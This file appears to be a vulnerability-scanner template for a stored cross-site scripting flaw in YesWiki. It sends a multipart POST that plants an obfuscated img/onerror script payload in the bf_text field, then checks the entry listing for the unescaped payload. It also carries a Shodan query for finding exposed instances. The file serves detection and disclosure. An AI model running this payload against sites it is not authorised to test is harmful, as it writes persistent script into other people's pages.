id: yeswiki-stored-xss

info:
  name: YesWiki - Cross-site Scripting (Stored)
  author: arafatansari
  severity: medium
  description: |
    YesWiki is vulnerable to Stored XSS via bf_text field when add a new entry for Forum.
  reference:
    - https://huntr.dev/bounties/5f27a9b1-c092-47e2-8092-a81298a4b932/
  metadata:
    verified: true
    shodan-query: http.html:"yeswiki"
  tags: yeswiki,xss,stored

requests:
  - raw:
      - |
        POST /?BazaR&vue=saisir&action=saisir_fiche&id=2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT8dS2PT0WtxACLyu

        ------WebKitFormBoundaryT8dS2PT0WtxACLyu
        Content-Disposition: form-data; name="bf_titre"

        blog
        ------WebKitFormBoundaryT8dS2PT0WtxACLyu
        Content-Disposition: form-data; name="bf_text"

        "><iMg SrC=x oNeRRor=alert(document.domain);>
        ------WebKitFormBoundaryT8dS2PT0WtxACLyu
        Content-Disposition: form-data; name="file"; filename=""
        Content-Type: application/octet-stream

        ------WebKitFormBoundaryT8dS2PT0WtxACLyu
        Content-Disposition: form-data; name="bf_description"

        abcd
        ------WebKitFormBoundaryT8dS2PT0WtxACLyu
        Content-Disposition: form-data; name="fichierbf_file"; filename=""
        Content-Type: application/octet-stream

        ------WebKitFormBoundaryT8dS2PT0WtxACLyu
        Content-Disposition: form-data; name="antispam"

        1
        ------WebKitFormBoundaryT8dS2PT0WtxACLyu
        Content-Disposition: form-data; name="id_typeannonce"

        2
        ------WebKitFormBoundaryT8dS2PT0WtxACLyu--

      - |
        GET /?BazaR&vue=consulter HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "contains(all_headers_2, 'text/html') && contains(all_headers_2, 'YesWiki')"
          - "status_code_2 == 200"
          - contains(body_2, '><iMg SrC=x oNeRRor=alert(document.domain);>')
        condition: and